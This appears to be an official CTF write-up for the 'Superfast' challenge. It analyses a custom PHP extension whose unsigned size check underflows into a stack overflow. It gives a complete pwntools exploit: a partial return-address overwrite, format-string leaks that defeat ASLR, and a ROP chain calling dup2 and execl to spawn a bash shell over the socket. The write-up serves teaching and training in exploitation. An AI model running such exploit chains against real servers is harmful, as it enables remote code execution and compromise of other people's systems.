Superfast

15th April 2022 / Document No. D22.102.85

Prepared By: w3th4nds

Challenge Author(s): clubby789

Difficulty: Easy

Classification: Official

Synopsis

Superfast is an easy difficulty challenge that features a PHP C API with format string bug.

Skills Learned

- PHP C API
- Format string exploitation

Enumeration

The server runs this PHP code:

```
<?php
if (isset($_SERVER['HTTP_CMD_KEY']) && isset($_GET['cmd'])) {
    $key = intval($_SERVER['HTTP_CMD_KEY']);
    if ($key <= 0 || $key > 255) {
        http_response_code(400);
    } else {
        log_cmd($_GET['cmd'], $key);
    }
} else {
    http_response_code(400);
}
```

`log_cmd` is a function from a custom PHP extension, `php_logger`.

```
#include <php.h>
```

```c
#include <stdint.h>
#include "php_logger.h"


ZEND_BEGIN_ARG_INFO_EX(arginfo_log_cmd, 0, 0, 2)
    ZEND_ARG_INFO(0, arg)
    ZEND_ARG_INFO(0, arg2)
ZEND_END_ARG_INFO()

zend_function_entry logger_functions[] = {
    PHP_FE(log_cmd, arginfo_log_cmd)
    {NULL, NULL, NULL}
};


zend_module_entry logger_module_entry = {
    STANDARD_MODULE_HEADER,
    PHP_LOGGER_EXTNAME,
    logger_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    PHP_LOGGER_VERSION,
    STANDARD_MODULE_PROPERTIES
};

void print_message(char* p);

ZEND_GET_MODULE(logger)

zend_string* decrypt(char* buf, size_t size, uint8_t key) {
    char buffer[64] = {0};
    if (sizeof(buffer) - size > 0) {
        memcpy(buffer, buf, size);
    } else {
        return NULL;
    }
    for (int i = 0; i < sizeof(buffer) - 1; i++) {
        buffer[i] ^= key;
    }
    return zend_string_init(buffer, strlen(buffer), 0);
}

PHP_FUNCTION(log_cmd) {
    char* input;
    zend_string* res;
    size_t size;
    long key;
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &input, &size, &key) ==
FAILURE) {
        RETURN_NULL();
    }
    res = decrypt(input, size, (uint8_t)key);
    if (!res) {
```

```
        print_message("Invalid input provided\n");
    } else {
        FILE* f = fopen("/tmp/log", "a");
        fwrite(ZSTR_VAL(res), ZSTR_LEN(res), 1, f);
        fclose(f);
    }
    RETURN_NULL();
}

__attribute__((force_align_arg_pointer))
void print_message(char* p) {
    php_printf(p);
}
```

By looking into the PHP C API we can determine that this function takes two arguments.

- `input`, a string
- `key`, a `long` (which the PHP file restricts to being between 1-255)
- `size` is the size of the string as provided by PHP.

These values are provided to `decrypt`, which returns a `zend_string` (PHP's string type). Then, that is appended to `/tmp/log`.

Decrypt

```
zend_string* decrypt(char* buf, size_t size, uint8_t key) {
   char buffer[64] = {0};
   if (sizeof(buffer) - size > 0) {
       memcpy(buffer, buf, size);
   } else {
       return NULL;
   }
   for (int i = 0; i < sizeof(buffer) - 1; i++) {
       buffer[i] ^= key;
   }

   return zend_string_init(buffer, strlen(buffer), 0);
}
```

This function performs a size check before copying the input onto a local stack buffer. The buffer is then `XORed` with the value of the key before initializing and returning a `zend_string`.

There's a subtle bug here, which is more obvious by looking at the decompiled code.

```
00001216  if (arg2 == 0x40) {
0000123f      rax_1 = nullptr
0000123f  } else {
```

`(sizeof(buffer) - size > 0)` - both size and `sizeof(buffer)` are `unsigned` values. It means that even if the size is more than 0x40, the value will underflow to the maximum possible value, passing the check. That gives us a stack overflow, and there are no canaries meaning we can ROP freely.

However, no leaks are available, so we aren't able to ROP to any known locations. However, there is a solution. We can overwrite only the *first* (lowest) byte of the saved RIP, which allows us to change the return location by a short amount. `00001429` is the address (or offset from the library base) we will return. Which makes this the range of possible addresses:

```
00001400  mov     dword [rax+0x8], 0x1
00001407  jmp     0x14a4

0000140c  mov     rax, qword [rsp+0x18 {var_30}]
00001411  movzx   edx, al
00001414  mov     rcx, qword [rsp+0x20 {var_28}]
00001419  mov     rax, qword [rsp+0x28 {var_20}]
0000141e  mov     rsi, rcx
00001421  mov     rdi, rax
00001424  call    decrypt
00001429  mov     qword [rsp+0x38 {var_10_1}], rax
0000142e  cmp     qword [rsp+0x38 {var_10_1}], 0x0
00001434  jne     0x1447

00001436  lea     rax, [rel data_2049]  {"Invalid input provided\n"}
0000143d  mov     rdi, rax  {data_2049, "Invalid input provided\n"}
00001440  call    print_message
00001445  jmp     0x1499

00001447  lea     rax, [rel data_2061]
0000144e  mov     rsi, rax  {data_2061}
00001451  lea     rax, [rel data_2063]  {"/tmp/log"}
00001458  mov     rdi, rax  {data_2063, "/tmp/log"}
0000145b  call    fopen
00001460  mov     qword [rsp+0x30 {var_18_1}], rax
00001465  mov     rax, qword [rsp+0x38 {var_10_1}]
0000146a  mov     rax, qword [rax+0x10]
0000146e  mov     rdx, qword [rsp+0x38 {var_10_1}]
00001473  lea     rdi, [rdx+0x18]
00001477  mov     rdx, qword [rsp+0x30 {var_18_1}]
0000147c  mov     rcx, rdx
0000147f  mov     edx, 0x1
00001484  mov     rsi, rax
00001487  call    fwrite
0000148c  mov     rax, qword [rsp+0x30 {var_18_1}]
00001491  mov     rdi, rax
00001494  call    fclose

00001499  mov     rax, qword [rsp {var_48}]
0000149d  mov     dword [rax+0x8], 0x1

000014a4  add     rsp, 0x48
000014a8  retn     {__return_addr}


000014a9  int64_t print_message(int64_t arg1)

000014a9  push    rbp {__saved_rbp}
000014aa  mov     rbp, rsp {__saved_rbp}
000014ad  and     rsp, 0xfffffffffffffff0
```

```
000014b1  sub     rsp, 0x10
000014b5  mov     qword [rsp+0x8 {var_18}], rdi
000014ba  mov     rax, qword [rsp+0x8 {var_18}]
000014bf  mov     rdi, rax
000014c2  mov     eax, 0x0
000014c7  call    php_printf
000014cc  nop
000014cd  leave   {__saved_rbp}
000014ce  retn    {__return_addr}

.text (PROGBITS) section ended  {0x10e0-0x14cf}

000014cf                        00          .

.fini (PROGBITS) section started  {0x14d0-0x14dd}

000014d0  int64_t _fini()

000014d0  endbr64
000014d4  sub     rsp, 0x8
000014d8  add     rsp, 0x8
000014dc  retn    {__return_addr}
```

We need to find a way to ROP which will provide us with leaks and not break the PHP process - we must send another request once we have leaks.
We can ROP to `00001440` call `print_message` - this is a simple wrapper around `php_printf` - its prologue also forcefully aligns the stack, ensuring that stack alignment won't be an issue.
Returning within the same function we came from also means the stack will be aligned after our payload runs, returning back into the PHP process.
`php_printf` functions similarly to `printf` in libc - passing user input to the function allows them to pass format specifiers that can produce leaks. By experimenting, we can see that the RDI register still points to our original request input.
We'll begin by passing a `single-byte-overwrite` payload that starts with many `%p` - specifiers:

```
#!/usr/bin/env python3
from pwn import *
import urllib.parse

def make_payload(buf):
    buf = list(buf)
    for i in range(63):
        buf[i] ^= 1
    buf = bytes(buf)

    payload = "GET /?cmd="
    payload += urllib.parse.quote(buf)
    payload += " HTTP/1.1\n"
    payload += "User-Agent: Pwner\n"
    payload += "Host: Pwn.htb\n"
    payload += "Cmd-Key: 1\n\n"
    return payload.encode()

context.binary = e = ELF("php", checksec=False)
log.info("Sending initial payload");
```

```
payload = flat({
    0: b'%p-' * 30,
    0x98: p8(0x40)
})
payload = make_payload(payload)
r = remote(args.HOST or "localhost", args.PORT or 1337)
r.send(payload)
r.recvuntil(b'\r\n\r\n')
resp = r.recvall()
r.close()
```

We can determine by some light investigation that one of the leaked pointers is `executor_globals`, a symbol in the PHP binary which allows us to `rebase` the executable to perform ROP:

```
leak = resp.split(b'-')[5]
log.success(f"Leaked executor_globals: {leak}")
e.address = int(leak, 16)- e.sym['executor_globals']
log.success(f"PHP base: {hex(e.address)}")
```

We can now repeat our attack with a normal ROP chain. Since `dup2` and `execl` are both in the PLT of PHP, we can call them. We will `dup2` our connection socket (which will be `4`) with `stdin/stdout/stderr` and execute a shell, reusing our connection as a shell.

```
rop = ROP(e)

rop.call('dup2', [4, 0])
rop.call('dup2', [4, 1])
rop.call('dup2', [4, 2])
binsh = next(e.search(b"/bin/bash\x00"))
dashi = next(e.search(b"-i\x00"))
rop.call('execl', [binsh, binsh, dashi, 0])

log.info(rop.dump())
payload = make_payload(b"A"*0x98 + rop.chain())
log.info("Sending shell payload")
r = remote("localhost", 8080)
r.send(payload)
r.interactive(prompt='')
```

Executing this will result in a bash shell.